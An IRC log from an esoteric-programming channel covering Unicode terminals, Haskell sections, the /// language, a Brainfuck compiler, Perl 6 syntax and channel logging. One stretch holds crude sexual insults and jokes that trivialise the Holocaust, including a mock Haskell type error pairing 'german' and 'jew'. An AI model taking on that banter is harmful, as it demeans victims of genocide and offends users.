I mean "plausibly believe that someone, esp. a Finnish someone, would say it like that". 22:44:46 Certainly a Finnish someone might, but no English one IMO :-P 22:45:13 ... Kuu? For food? 22:45:31 fi:kuu is made out of cheese. 22:45:35 That's kinda funny, since in Japanese, "Kuu" is a informal way of saying "to eat"... 22:45:49 (It is the same as en:moon.) 22:50:44 We could switch to a two-sound phonology -- say a Hamming-encoded bitstring formed out of 0 = IPA y, 1 = IPA ɑ, duration-insensitive -- that'd certainly make the acoustics side of speech recognition easier, for one thing. 22:51:02 With distinct stops between bits, of course. 22:51:16 No, I don't think we could. :-P 22:52:02 Deewiant: Well, y-ɑ-ɑ-ɑ-y-ɑ-y-y-y-y-ɑ-ɑ-y you. 22:52:23 Yay for me! 22:54:15 ASCII-ise that question mark? 22:54:45 Which question mark 22:55:42 The IPA thing that's not a y. 22:55:47 Ah, ɑ? 22:56:02 pikhq: http://en.wikipedia.org/wiki/Open_back_unrounded_vowel 22:56:05 It's the a variant without the hook-at-the-top thing. 22:56:37 A bit alpha-like. 22:56:52 Actually "latin small letter alpha" seems to be the Unicode name. 22:57:02 Ah. 22:58:35 -!- olsner has quit (Read error: 104 (Connection reset by peer)). 22:58:56 It's also encoded as A is X-SAMPA. 22:59:33 X-SAMPA is such a pain 22:59:46 Those X-SAMPA "b_<" and friends look like botched horizontal-smileys. 22:59:49 [jU\"fO@r\i@] 23:00:11 /yuˈfɔriə/ 23:01:11 Yeah, X-SAMPA is a pain. 23:01:21 What's more a pain is the notable lack of terminals that do Unicode right. 23:01:33 And they're the only programs that don't on my system. 23:03:09 Clearly you're using the wrong terminals. 23:06:00 rxvt-unicode is misnamed. 23:06:10 Must be rxvt minus unicode. 23:07:14 well, - _is_ minus 23:07:48 pikhq: urxvt doesn't do unicode? 23:08:31 It sure hasn't for me. 23:23:26 -!- BeholdMyGlory has quit (Remote closed the connection). 23:28:28 -!- FireFly has quit ("Later"). 23:30:17 It's been doing unicode very well for me. Well, I guess the combining-character rendering could use some work. But other than that, and even that stuff rudimentarily works. 23:34:24 One might need to give it reasonable fonts, though; I'm not sure what the default font search list looks like. I've been using a "URxvt.font: xft:DejaVu Sans Mono:size=8, xft:Kochi Gothic:size=8" (and identical boldFont) resource line. 23:35:37 fizzie: 8?! 23:36:37 Well, and I haven't really tried anything fancy, like switching direction with the right-to-left mark; but certainly it's been reasonably good in rendering fancy characters. 23:37:54 ehird: I started with 10, I think; used that about a year, switched to 9, used that one more year, and recently switched to 8. 23:38:01 fizzie: use 54 23:38:04 It's some sort of adaptation technique, I guess. 23:38:15 Maybe I can graduate to 7 soon. 23:38:47 pango's got incredible Unicode rendering 23:39:01 coppro: that's what SHE said! 23:40:08 ehird: doesn't work in that context 23:40:20 ais523: that's the point 23:40:23 :-P 23:40:27 I'm using size-9 font atm, I deliberately sized it down from the default 23:40:37 low dpi screen? 23:41:00 Heh, urxvt FAQ; "here is a more complete set of non-standard colors" (to replace the ones that look mostly like a VGA screen) "They have been described (not by me) as 'pretty girly'." 23:42:00 This one is low-ish in the DPI rankings; the reasonably common 94dpi. 23:43:56 fizzie: ITYM 96dpi 23:44:16 This house has some CRTs, my 100dpi screen, and the ole 84dpi screen 23:49:48 No, 94, officially; pixel pitch of 0.270 mm, translating to (25.4 mm/in) / (0.270 mm/dot) = 94.074... dot/in. I guess it might not be "reasonably common", though. 23:53:43 Hadn't noticed before that they're making "normal" laptops nowadays with 16" 1920x1080 displays (which means ~140dpi) -- I did know about the really high-DPI screens in some VAIO models and other "high-end" things, but that 16" one was a cheapo-laptop, some <1000 eur price. 23:54:14 mine's 1280*800 23:54:24 fizzie: macbook pros have 17" 23:54:39 iphone has 160dpi display 23:55:21 9 a i o pb qs rn te whyd xv 23:55:25 But that's the small. 23:55:41 Last looked at Apple laptop specs when getting the iBook G4. 23:56:19 (That one was 12" 1024x768, meaning a bit over 100 dots.) 23:56:31 Sleepity-sleep anyway. 23:56:34 bye 2009-05-05: 00:04:39 fizzie: Any idea how you make urxvt handle the compose key? 00:11:12 Hrm. Well, now I wonder if it's screen that's screwing with me. 00:11:17 * pikhq will be back 00:11:22 -!- pikhq has quit ("leaving"). 00:12:12 -!- pikhq has joined. 00:12:22 Quick! Someone use Unicode! 00:12:52 é 00:13:03 ... A question mark? 00:13:10 No. 00:13:20 pikhq: café 00:13:21 è 00:13:27 ü 00:13:29 that's the same as ehird's with a different accent 00:13:29 ‽ 00:13:33 GOD DAMNED YOU URXVT. 00:13:38 yes, the ` accent 00:13:41 and umlaut u 00:13:43 and interrobang 00:13:53 I see question mark after question mark. 00:14:17 fizzie: You said urxvt actually worked for you? 00:14:20 What magic did you do? 00:14:38 is yer terminal set right pikhq? 00:15:00 Yeah. 00:16:18 Ünïcödë 00:17:40 More question marks. 00:19:45 It shows every Unicode character with a single question mark. 00:20:16 Odd, given that it's using Deja Vu Sans, which I *know* has Unicode characters. 00:22:00 anyone have a fast internet connection and an open udp port? fizzie? 00:22:16 I'm talking to ais523 about internet latency; we'd like to have a roundtrip of less than a tenth of second 00:26:53 6 a i o pb qt rm sd we xl yuk zn 00:28:11 GregorR: wat 00:28:20 That's the status of my pangram seeker :P 00:28:29 ah 00:28:32 -!- ais523 has quit (Remote closed the connection). 00:28:34 GregorR: make it optimize for longer words. 00:28:53 ehird: In retrospect I would do that, but it's too late now. 00:29:03 GregorR: That'll take years, sir 00:29:10 GregorR: Make a self-describing sentence 00:29:17 I'm not convinced that it will *shrugs* 00:29:17 This sentence has 1 As, ... 00:31:27 -!- sebbu3 has changed nick to sebbu. 00:39:07 ehird: A tenth of a second? I wish. I've got a lag of 4 seconds ATM. 00:42:08 lag lag lag your boat, gently down the tubes... 00:42:16 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)). 00:43:12 -!- bsmntbombdood_ has joined. 00:44:34 http://www.telegraph.co.uk/scienceandtechnology/science/sciencenews/5255394/Alien-skull-spotted-on-Mars.html 00:44:35 lawl 00:44:39 hi bsmntbombdood_ 00:47:17 wtfbbq 01:11:36 -!- puzzlet_ has joined. 01:23:10 Prelude> ((/) 2) 8 01:23:11 0.25 01:23:11 Prelude> (/ 2) 8 01:23:11 4.0 01:23:13 :/ 01:23:16 duh 01:23:22 (/x) = (_/x) 01:23:27 ((/)x)=(x/_) 01:23:37 ones infix ones prefix 01:23:48 except _/x is not valid syntax 01:23:55 subf a b = b - a 01:24:04 then do I have to do (`subf` x) 01:24:06 no shit 01:24:06 which is ugly 01:24:12 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 01:24:12 so don't do that 01:25:27 -!- Gracenotes has quit ("Leaving"). 01:26:02 -!- Gracenotes has joined. 01:26:04 what if I have a f a b c d 01:26:11 and I want to curry the c 01:26:35 use a lambda 01:26:41 besides that 01:26:49 (\c -> a f a b c d) yourC 01:27:16 flip (a f a b) d, i think 01:27:17 the first 'a' was an article, you know :p 01:27:28 oh 01:27:42 flip :: (a -> b -> c) -> b -> a -> c 01:27:44 cool 01:28:03 (`whatever` x) = flip whatever x 01:28:49 but you can only use `` with single identifiers 01:29:53 also, subf exists, it's called subtract 01:30:27 it was a contrived example anyway :p 01:30:36 it exists for a technical reason 01:30:51 because (- x) is negative x, not a section 01:31:07 I see 01:31:10 so you need to use (subtract x) if you want the section 01:32:16 s/negative/negate/ 01:52:31 -!- oerjan has quit ("Good night"). 02:05:28 I'd like to take this opportunity to state that all sellers of digital information are guilty of price fixing. 02:05:29 -!- psygnisfive has quit (Remote closed the connection). 02:05:32 That is all. 02:11:29 -!- bsmntbombdood_ has quit (Read error: 131 (Connection reset by peer)). 02:12:03 -!- bsmntbombdood_ has joined. 02:49:10 -!- psygnisfive has joined. 03:09:14 The commercials for Star Trek $MOVIE_NOT_NUMBERED makes it look godawful. 03:09:20 s/makes/make/ 03:14:46 -!- Sgeo has joined. 03:15:39 I concur. 03:15:52 Anyone feel that programming classes shouldn't be required for non-programmers? 03:15:53 Also, I note that Sam Hughes needs to write for Star Trek. 03:16:11 Sgeo: No, but they should be taught better. 03:16:24 people need to be not stupid 03:16:40 psygnisfive, good luck with that 03:16:43 programming is so trivial, in many cases 03:16:44 (there's a freaking programming class for non-programmers at my school that uses C++. C++ for non-programmers? Madness!) 03:16:47 so trivial 03:17:05 Saw some student who wanted help testing. I saw code like: 03:17:05 pikhq: C++ for programmers? Madness! 03:17:13 MULTIPLICATION = multiplication() 03:17:20 psygnisfive: C++! Madness! 03:17:26 since he never figured out void functions 03:17:35 what 03:18:03 THIS! IS! STROUSTRUP! 03:18:04 (yes, a function like multiplication() made sense in context. The fact that it returned something (always 0), not so much) 03:18:15 GregorR: :) 03:21:36 This summer, I have so far designed a new (miniscule) processor architecture, written an emulator for it, and came up with an optimising Brainfuck compiler in Brainfuck. 03:22:23 Ah, yes. That was a productive summer for me. 03:22:33 And to think, I did it all on dialup. 03:22:35 I can't seem to find Sgeo's first messages in the logs ... 03:23:10 * Sgep is using konq, and can't figure out Java, so I can't really see EsoShell :-( 03:23:16 YOUR NAME CHANGE CONFUSES AND INFURIATES ME 03:24:03 :) 03:24:20 Hah, psygnisfive (then augur)'s first messages were " GregorR -- gregor richardson? i know a gregor richardson and i was gonna be all like ZOMG IS IT YOU" 03:24:40 its true! 03:25:38 How many people here HAVEN'T had a name change? 03:25:41 <-- always GregorR 03:25:46 clog <-- always clog 03:25:52 how many people here HAVEN'T has a sex change? 03:25:53 pikhq <-- always pikhq 03:26:07 i wouldve stayed augur if it werent for some cock using that name 03:26:09 I've had this nickname for *11 freaking years*. 03:26:10 ehird <-- had a backtick, but otherwise 03:26:27 Doesn't seem like that long, but, well, I'm 19. Forever for me. 03:26:28 i prefer "tusho" :( 03:27:38 how does one learn to speak Klingon? 03:27:58 I think I remember that. 03:33:57 http://www.muckflash.com/?p=200 03:48:22 http://www.reddit.com/r/funny/comments/8hqgy/fire_check_shot_check_idiot_check/ 03:49:45 HAHAHA 03:55:56 Lodz VFW benchmarks jug pix qty. 03:57:28 c++ for programmers? madness! 03:57:31 Interesting. 03:57:42 oh darn, psygnisfive beat me to it 03:57:50 :) 03:57:55 It still needs to be said. 03:58:54 i want a beer 04:03:18 And it suddenly makes a lot more sense when you consider 'jugs' can be a euphemism! 04:03:19 I honestly typed "pictures of jugs" into Google 04:23:31 Is "OSAM Autorun Manager" good? 04:35:54 -!- puzzlet has joined. 04:38:23 http://puzzlet.org/puzzlet/~Funge/PuzzletChung/SquareRoot One of my experiments.. 04:39:17 Damn, pgimeno hasn't been on in 5 months. 04:49:07 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)). 04:49:11 wow that's many years ago 04:49:17 still can be found at http://puzzlet.org/personal/wiki.php/~Funge/PuzzletChung/SquareRoot 04:50:46 -!- Gracenotes has quit (Remote closed the connection). 05:21:23 -!- bsmntbombdood_ has quit (Connection reset by peer). 05:37:05 puzzlet: I'm quoting peoples' first few words. 05:37:11 (On #esoteric ) 05:38:43 puzzlet, this is a befunge program that takes square roots? 05:41:18 -!- bsmntbombdood has joined. 05:42:03 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 05:42:18 -!- puzzlet has joined. 05:42:31 Heh, my first words here were about FYB. 05:42:37 I should get that goin' again :P 05:42:49 Somebody's got to beat logicex-3 05:43:26 Err, logicex-2 05:59:34 -!- Sgeo has quit ("Leaving"). 06:06:50 !fyb 06:06:50 Use: !fyb 06:06:52 :) 06:09:46 Now I just need to get somebody interested in FYB again ... 07:04:58 -!- GreaseMonkey has joined. 07:10:31 so im pretty sure that slashes is TC 07:11:03 maybe 07:11:40 /a/b/c is very similar to (λa.c) b 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:17:43 -!- Slereah has joined. 08:32:35 -!- tombom has joined. 08:48:38 -!- coppro has quit (Read error: 110 (Connection timed out)). 10:43:56 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 11:16:27 -!- jix has joined. 11:44:50 -!- oklopol has joined. 12:02:41 Hmm. 12:05:29 (^x.xx)(^x.xx) = /x/^x.xx/xx, but I don't think ^x.xx can be translated. 12:07:14 kerlo, what language 12:10:20 !bf 2 12:10:27 am i here 12:11:58 You are probably just imagining being here. 12:15:55 AnMaster: a mixture of lambda calculus and ///. 12:16:04 mhm 12:18:50 kerlo, so how does it work. 12:19:33 I guess it's /a/b/c -> replace a's by c in b, given the context? 12:19:59 It's /a/b/c -> replace a's by b in c, actually. 12:20:11 but that is just plain /// isn't it? 12:20:13 Yeah, that too 12:20:31 Although you'll have variable collision if you do that 12:20:47 do you think i should be a farmer? 12:20:55 We should all be farmers. 12:21:08 but what would we farm? 12:22:17 -!- oklopol has quit (Read error: 104 (Connection reset by peer)). 12:23:27 -!- oklopol has joined. 12:24:54 oh "dickensurl" 12:25:04 last time i read that as "dickandsuck" 12:25:09 ... 12:42:39 -!- oerjan has joined. 12:45:22 oerjan, hi 12:45:34 hi AnMaster 12:47:35 hm did xkcd update two days after each other 12:47:49 it has happened 12:48:11 ah yes and it's a multipart story 12:48:27 -!- oklopol has quit (Read error: 110 (Connection timed out)). 12:48:42 right 12:50:14 -!- oklopol has joined. 13:00:09 -!- oklopol has quit ("PJIRC @ http://webirk.dy.fi"). 13:04:55 /a/b/c is very similar to (.a.c) b 13:05:12 what 13:05:19 the problem is that that also garbles any instances of /a/b/ in c 13:05:21 λa.c 13:05:43 i presume you mean that like 13:05:45 <- iso8559-1 13:05:48 you get variable naming conflicts 13:05:52 no 13:06:01 no? 13:06:03 what do you mean then 13:06:25 the problem is, it is _very_ hard to modify just _some_ instances of anything 13:06:32 ??? 13:06:50 im not sure what you mean 13:07:24 i mean to show slashes TC is hard 13:07:32 :P 13:07:37 thats not what you mean. 13:07:40 because it _doesn't_ work like lambda calculus 13:07:49 how do you mean it doesnt, tho 13:08:23 oh btw it's (\a.b) c, if anything 13:08:36 no its not 13:08:44 erm no 13:08:46 right 13:08:48 :P 13:08:54 how is it not like LC tho 13:10:40 oh you need to escape all / in b 13:11:43 ? 13:11:52 im not entirely up on how the slashes get escaped 13:12:00 with \ before 13:12:02 oh i think i know what you mean 13:12:07 (as is \ itself) 13:12:12 you mean if b is itself a /// expression 13:12:21 yes. 13:12:23 so that it doesnt fuck up the outer /// 13:13:51 do you have a bot that will interp stuff? 13:14:07 Personally I couldn't even do an infinite loop in ///, one that wouldn't have a single non-terminating /// expression. To loop "aaa" you need some code that translates "x" into "aaa [code that translates x into aaa] x", and it seems to be pretty difficult to do anything involving just the first "aaa" part without messing up the latter code. 13:15:56 what do you mean, fizzie 13:18:18 He means shit ain't TC so stop trying 13:18:21 Or somethin 13:18:21 g 13:18:28 i think that ///s might be an alternative notation for de bruijn notation lc. 13:19:04 de bruijn notation is almost identical, except /a/b/c is (b) [a] c 13:19:29 it could be an important difference tho. i dont know. 13:22:20 I just mean that anything with /// that involves generating code seemed to be rather tricky in practice. I couldn't write a /// expression Z that would turn "x" into "Zx", for example. (And in fact /x/...x.../ will never terminate, of course, so you'd need something pretty clever.) 13:23:05 why would /x/...x.../ terminate?? 13:23:06 what? 13:23:32 ah yes, the substitution is repeated until it no longer applies 13:23:41 i dont follow 13:23:52 I mean /x/...x.../ will never terminate, since it keeps applying the substitution as long as there is a single x in the rest of the code. 13:24:12 well, surely that by itself wont not terminante, since its substituting x for ...x... in nothing 13:24:16 but i think i see what you mean 13:24:55 /a/b/c keeps replacing a with b in c and all the versions of c that get produced by substitutions? 13:25:21 so /a/b/c -> /a/b/c' -> /a/b/c'' ... until c^(n) has no a's? 13:25:28 yep 13:25:35 ok. so? 13:26:11 it means that afterwards, there _will_ be no a in the code 13:26:17 hm. 13:26:35 and so some easy ways of looping are excluded 13:26:36 i guess thats a problem if you have a /// that should apply to another version of itself 13:27:53 in particular, if b contains a you get a tight infinite loop, which never prints anything 13:28:26 hm. 13:28:32 thats a problem! 13:31:52 to get around this, i recall trying thinking about making a something with more than a single character, so you can reconstruct it 13:32:05 (if a were a single character, you could never get it back) 13:32:22 maybe have escapes on characters too? 13:32:25 but then the need to escape slashes gets added to that, and i gave up 13:32:40 so that \a doesnt match a until the replace cycle?? 13:32:50 ergh 13:32:52 :|} 13:32:53 :| 13:33:08 :|} is a frustrated guy with an amish beard 13:33:20 broke his wagon wheel? 13:33:31 -!- jix has quit ("leaving"). 13:33:33 ja :( 13:33:38 -!- jix has joined. 13:33:56 I did also try thinking about using some other longer strings, and then replacing them back with something like a simple /foo/bar/, but that hit the snag that it would of course replace any later "/foo/bar/" you wanted to run in the whole future of the program with a /bar/bar/. 13:33:58 -!- jix has quit (Remote closed the connection). 13:34:22 -!- jix has joined. 13:34:23 An easy language it is not. 13:35:49 -!- jix has quit (Remote closed the connection). 13:36:04 -!- jix has joined. 13:37:48 talking like yoda you are 13:43:12 Par la guerre personne ne devient grand 13:43:22 english, cockface. 13:44:16 That's a good attitude for a linguist to have 13:44:32 it is. 13:46:38 Don't you call me cockface 13:46:40 * oerjan imagines psygnisfive somewhere in the depths of the amazon, saying "english, cockface." 13:46:46 Until your cock is in my face. 13:47:01 why would i go to the amazon 13:47:05 they dont speak english there 13:47:39 But this place is full of finns and Frenchmen 13:47:49 Yes, it's like the amazon 13:47:51 yes but we speak english here! 13:47:55 unlike the amazon! 13:48:17 apparently some nutters have tried to apply type theory to the social sciences 13:48:25 how typical 13:48:49 first it was darwinism, now it's type theory 13:50:40 The holocaust was because of type theory 13:50:54 Bertrand Russell is a murderer 13:50:56 you know, this is true! 13:50:59 well, the holocaust part 13:51:04 not the murderer part 13:51:18 he was just following orders 13:52:26 Are you aware that Hilbert is just an anagram for Hitler b 13:52:59 Hilbert came up with the extermination of untyped objects. 13:53:22 Prelude> german + jew 13:53:22 :1:9: 13:53:24 Couldn't match type `German' 13:53:26 against type `Jew' 13:53:28 In the second argument of `(+)', namely `jew' 13:53:30 In the expression: german + jew 13:53:32 In the definition of `it': it = german + jew 13:53:34 GASP, Haskell, you RACIST 13:53:40 D: 13:53:49 Let's make a language out of this 13:53:54 lets not 13:53:56 + has a strict segregation policy 13:54:16 i disavow all knowledge of this. 13:54:34 psygnisfive is a typzy 13:54:42 a what 13:54:45 a type gypsy? 13:54:50 A TYPZI 13:54:57 oh noes D: 13:55:18 a type zazi?! 13:55:43 but i dont speak pashto! :( 13:55:43 Close. 13:56:09 int process_spell_target(int who, int what, int y0, int x0, int y1, int x1, int spell, int level, u32b flg, int region_id, int delay, int damage_div, bool one_grid, bool forreal, bool player, void retarget(int *ty, int *tx, u32b *flg, int method, int level, bool full, bool *one_grid), bool *cancel) 13:56:18 oh god wtf 13:56:21 gtfo 13:56:23 :( 13:56:41 is it some code for magic? 13:56:48 Throwing spells and shit 13:56:53 It's from Unangband 13:56:54 im going to bed 13:56:57 for some hours 13:56:59 bye 13:57:12 I got it from http://roguelikedeveloper.blogspot.com/2009/04/moral-simplification.html 13:57:49 Some people would've just used a typedef for the function pointer in there. I call those people quitters! 13:58:04 i'd say its very immoral. 13:58:04 :-) 14:02:05 -!- oerjan has quit ("Later"). 14:43:46 -!- Sgeo has joined. 14:47:10 it's likely that SSA-based analysis is needed to propagate brainfuck IL correctly. 14:48:06 IL? 14:48:16 intermediate language, used in esotope-bfc compiler 14:48:36 not that good though 14:48:53 Linky? 14:49:20 i have written analysis code for one basic block, but there are so many small basic blocks and i should analyze them in the whole... 14:49:28 Sgeo: http://hg.mearie.org/esotope/bfc/file/tip/esotope-bfc.py 14:49:38 ty 14:50:16 there are many rooms of improvement, many of them requires SSA form or something like that 14:50:45 SSA form? 14:51:35 wikipedia contains some article on it: http://en.wikipedia.org/wiki/Static_single_assignment_form 14:51:54 it is a popular technique in the compiler construction. 15:18:36 ehird, new Fine Structure out 15:22:54 Another new one? Sweet. 15:23:06 Oh, it's a few days old. 15:23:12 Good one, though. 15:30:14 -!- jix has quit (Read error: 113 (No route to host)). 15:42:06 -!- puzzlet_ has joined. 15:44:55 -!- puzzlet has quit (Read error: 145 (Connection timed out)). 16:12:30 -!- KingOfKarlsruhe has joined. 16:16:00 -!- impomatic has joined. 16:17:38 -!- puzzlet has joined. 16:17:40 -!- puzzlet_ has quit (Remote closed the connection). 16:25:56 -!- MigoMipo has joined. 16:27:28 -!- Slereah has quit ("Leaving"). 16:35:49 I'm up to 14 potential 26-letter pangrams :) 16:35:53 They're all pretty terrible though :P 16:41:27 -!- sebbu2 has joined. 16:43:32 GregorR: are there common pattern in them? for example, certain word is likely to appear in them? 16:44:34 -!- sebbu has quit (wolfe.freenode.net irc.freenode.net). 16:58:21 Have you heard about Lee Sallow's pangram machine? 16:58:56 Cool looking machine from about 25 years ago. 17:12:31 -!- FireFly has joined. 17:32:11 -!- Hiato has joined. 17:33:03 lifthrasiir: Yes. Those acronyms I didn't manage to filter out are popular :P 17:33:25 01:05 pikhq: I'd like to take this opportunity to state that all sellers of digital information are guilty of price fixing. 17:33:26 01:05 pikhq: That is all. 17:33:29 Ex-fucking-XACTLY. 17:33:46 Bits are not scarce; there is infinite supply and finite demand. 17:33:48 Value = 0. 17:34:47 ehird: http://code.google.com/p/esotope-bfc/ i once heard of mercurial support in google code, but when i registered the project i realized mercurial support is for invited users... :S 17:34:52 That's by definition. The free market has not yet figured out how to deal with non-scarce resources, for that very reason, and to compensate they're treating them like scarce resources. 17:34:54 anyway now there is a project page. 17:35:02 lifthrasiir: Github ftw ;-) 17:35:17 lifthrasiir: If you'd like mercurial support, I could set you up a page on codu.org/projects . 17:35:19 GregorR: Selling non-scarce resources is inherently immoral, imo. 17:35:28 Also, free markets are dumb to the max :P 17:35:57 GregorR: i feel google code is quite convenient, except for its VCS support 17:35:57 lifthrasiir: you can integrate google code with mercurial 17:35:59 i felt* 17:36:02 lifthrasiir: go to the admin panel 17:36:05 to do the tabs panel 17:36:07 on the Source one 17:36:08 input Source in the box 17:36:11 now, edit the Source wiki pag 17:36:12 e 17:36:18 and put checkout instructions on there and a link to the web interface 17:36:25 = the source tab on google code links to that; hooray 17:36:32 you can also hide e.g. Downloads if you're not going to use that 17:36:36 hmm, that'd be one way. 17:36:43 lifthrasiir: I've done it befor 17:36:43 e 17:36:47 it works excellently 17:36:48 thank you for info. 17:36:52 http://code.google.com/p/github-and-google-code/ 17:36:57 the actual github project has been deleted 17:37:00 but that shows the tab 17:37:31 the actual github project has been deleted // I'm going to use this out of context hundreds of times >: ) 17:37:32 lifthrasiir: then if you put in e.g. the URL field on your hgweb, you can put a link to the google code there 17:37:35 to link them up 17:37:41 GregorR: wat? 17:37:43 I deleted it myself 17:37:51 OOOH even better! 17:37:57 the actual github project has been deleted I deleted it myself 17:38:05 GregorR: Er, what's so funny? 17:38:10 That's what she said? 17:38:24 That says nothing about Google code. If I take that out of context, it sounds like you're saying you deleted github :P 17:40:56 oh 17:40:59 :P 17:41:04 GregorR: I deleted the project-on-github 17:41:14 dur 17:42:04 Of course you did, that's clear enough. 17:42:14 But it's less clear when I don't include those details, hence "out of context" 17:42:24 This joke has now been so over-explained it's been beaten to death. 17:43:34 -!- MigoMipo has quit (Read error: 60 (Operation timed out)). 18:09:59 -!- KingOfKarlsruhe has quit (Remote closed the connection). 18:20:51 -!- ais523 has joined. 18:24:58 -!- MigoMipo has joined. 18:26:35 -!- ais523_ has joined. 18:27:13 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 18:28:00 -!- impomatic has left (?). 18:29:05 -!- tombom has quit ("Peace and Protection 4.22.2"). 18:37:15 -!- ais523 has quit (Read error: 110 (Connection timed out)). 18:45:00 hi ais523_ 18:45:05 hi 18:45:08 wow, am I underscored? 18:45:10 -!- ais523_ has changed nick to ais523. 18:45:19 this connection's rather flaky, it seems 18:50:48 -!- FireFly has quit (Read error: 60 (Operation timed out)). 19:34:54 btw, 19:34:58 !sh echo it works 19:34:58 it works 19:35:04 good, heh 19:45:17 -!- Slereah has joined. 19:56:53 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 20:00:13 some of Perl6's features seem only useful to golfers 20:00:32 'Tis Perl. 20:00:34 for instance, the pair (foo => 42) can be abbreviated :foo(42), which can be abbreviated :42foo 20:04:03 so it treats 42 and foo as two tokens, not an error (still)? 20:04:19 not just that, it's a deliberate abbreviation AFAICT 20:04:30 :42 foo would mean something entirely different, probably 20:04:37 ... 20:04:40 sorta crazy. 20:04:50 actually, even (foo => 42) is an abbreviation for ('foo' => 42) 20:05:07 What would :42'foo' mean? 20:05:21 probably a syntax error 20:05:23 What's that : about, anyway? 20:05:46 Everyone wants the colon. 20:13:35 more fun Perl6 syntax: "\c[NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE]" 20:14:59 well that's also in python: 20:15:00 >>> u'\N{NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE}' 20:15:00 u'\u22af' 20:15:12 yes 20:15:20 still fun, though 20:15:25 right 20:16:50 >>> u'\N{tetragram for vastness or wasting}' 20:16:50 u'\U0001d337' 20:16:55 The most useful thing ever. 20:17:22 I wonder how many copies of over-a-megabyte Unicode character name database I have because of stuff like this. 20:17:24 what about glagolitic capital letter spidery ha? 20:17:43 𝌷 20:18:15 >>> print u'\N{glagolitic capital letter spidery ha}' 20:18:15 Ⱒ 20:18:17 Praise be. 20:18:21 fizzie: no, it surely can be compressed less than 64K. i have done such thing once. 20:18:32 ehird, sigh 20:18:38 AnMaster: what did I do now? 20:18:43 breathe? 20:18:44 afaik python also uses such compression, making entire database less than 100K iirc 20:19:02 ehird, it was a sigh in awe of the glagolitic capital letter spidery ha clearly! 20:19:05 that's still over 5% of a floppy disk 20:19:34 AnMaster: 20:17 ais523: what about glagolitic capital letter spidery ha? 20:19:42 AnMaster: If you think I did that spontaneously, lern2scrollback. 20:19:51 but python distribution doesn't fit in a floppy disk, does it? 20:19:58 ehird, did I say it was spontaneous... 20:20:03 you make no sense now 20:20:14 lifthrasiir: maybe not, but I've had to fit python onto a small computer with only 16MB Flash space before now 20:20:28 how about tinypy then? 20:20:31 we did manage it in the end by uninstalling all the things we didn't need 20:20:33 AnMaster: the 'sigh' seemed to imply you were blaming me. 20:20:34 lifthrasiir: hadn't heard of it 20:20:41 ehird, " ehird, it was a sigh in awe of the glagolitic capital letter spidery ha clearly!" 20:20:43 http://tinypy.org/ 20:20:56 AnMaster: if I took that seriously you'd accuse me of lacking a sarcasm detector AKA mind reader. 20:21:07 tinypy is a minimalistic python implemenation whose loc is just over 60K lines. 20:21:11 ehird, ... 20:21:33 if you absolutely have to integrate python within restricted environment, it might help 20:21:33 lifthrasiir: '60K lines', 'minimalistic' 20:21:46 ehird, hah 20:21:57 -rw-r--r-- 1 root root 481008 2009-02-18 06:20 /usr/lib/python2.5/lib-dynload/unicodedata.so 20:22:05 The fact that it can be compressed of course doesn't mean it will. 20:22:15 ehird, isn't sqlite rather minimalistic iirc? Yet it is something like 90k lines iirc 20:22:50 fizzie: it also contains normalization tables for NFK?[CD] 20:23:15 but anyway it looks like too huge. hmm. 20:54:54 I love the way the Perl6 manual talks repeatedly about a function called "if" 20:55:03 the idea being it's talking about how to do weird things with the parser 20:55:14 in this case, how to use a function with a name that means something else 20:55:29 likewise, it talks about how to refer to a variable called $@%$@ 20:55:35 or something like that, anyway 21:01:56 -!- olsner has joined. 21:06:30 -!- impomatic has joined. 21:06:55 Hi, just a quick question. How does this channel get logged? We want to log the #corewars channel 21:07:14 impomatic: don't bother 21:07:19 last log was accepted in 2005 iirc 21:07:22 Why not? 21:07:29 because it's unmaintained 21:07:35 nef doesn't maintain it, Faré doesn't care 21:07:49 when you COULD get it, it was done by asking 21:08:12 impomatic: there are many free IRC log services 21:08:14 try ircbrowse.com or something 21:08:24 Ah, okay. How do I ask? It's worth a try. 21:08:26 Thanks 21:08:32 impomatic: you can't; they don't exist :P 21:08:38 but on IRC 21:08:44 -!- ais523_ has joined. 21:08:46 impomatic: there's one that does it by filling out a web form 21:08:48 I'll find it 21:09:19 impomatic: http://www.irseek.com/ 21:09:22 fill in the opt in form 21:09:28 Does that count as unauthorised public logging? I saw a warning about that! 21:09:40 No 21:09:48 You have to put it in the topic. 21:09:54 Thanks, will do that now 21:09:57 hmm, wait 21:10:05 impomatic: it may not be the best option for long-term archival 21:10:06 "IRSeek will keep channel logs for upto 7-years (for example, a message that has been archived by our log-bots on January 1st, 2001 will be kept in our database until January 1st, 2008, unless a channel contact/operator has specifically requested that we remove it before that time). This policy will reduce the concern that a message once sent to a logged-channel will be archived forever. " 21:10:27 * ehird googles 21:11:05 hrm,. 21:12:04 impomatic: does anyone in the channel have a server? 21:12:39 I think we all used shared hosting for our webpages. 21:12:40 → 21:12:46 ← impomatic: I may be able to set up something. 21:12:47 brb 21:16:04 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 21:18:37 -!- puzzlet has joined. 21:18:44 > {my $x = "dnab0001.png"; say ++$x;} 21:18:45 dnab0002.png 21:18:47 now that's just showing off 21:20:20 That's a little bit scary actually. 21:20:35 say ++"foobar 1.0.1" ? 21:21:37 > {my $x = "foobar 1.0.1"; say ++$x;} 21:21:38 foobar 1.1.1 21:21:43 that definitely isn't what I expected 21:21:50 -!- ais523 has quit (Nick collision from services.). 21:21:52 -!- ais523_ has changed nick to ais523. 21:22:32 that contradicts the spec, though, must be a bug in rakudo 21:22:35 ais523: Parses it as a floating-point 1.0 and discards the rest? 21:22:38 the spec would indicate "foobar 2.0.1" 21:22:46 Oh, but ++ 21:22:49 Never mind 21:26:32 How 'bout "foobar 1.0.1" + 0.0.1 21:26:33 :P 21:28:01 And do you get a "foobar 2.3.4" out of "foo 1.1.1" + "bar 1.2.3"? 21:28:08 LAWL 21:28:39 I suppose a link in the topic that's required to show that there's public logging going on should probably not be obfuscated :P 21:29:02 umm, how is that any different from a direct link? 21:29:08 neither 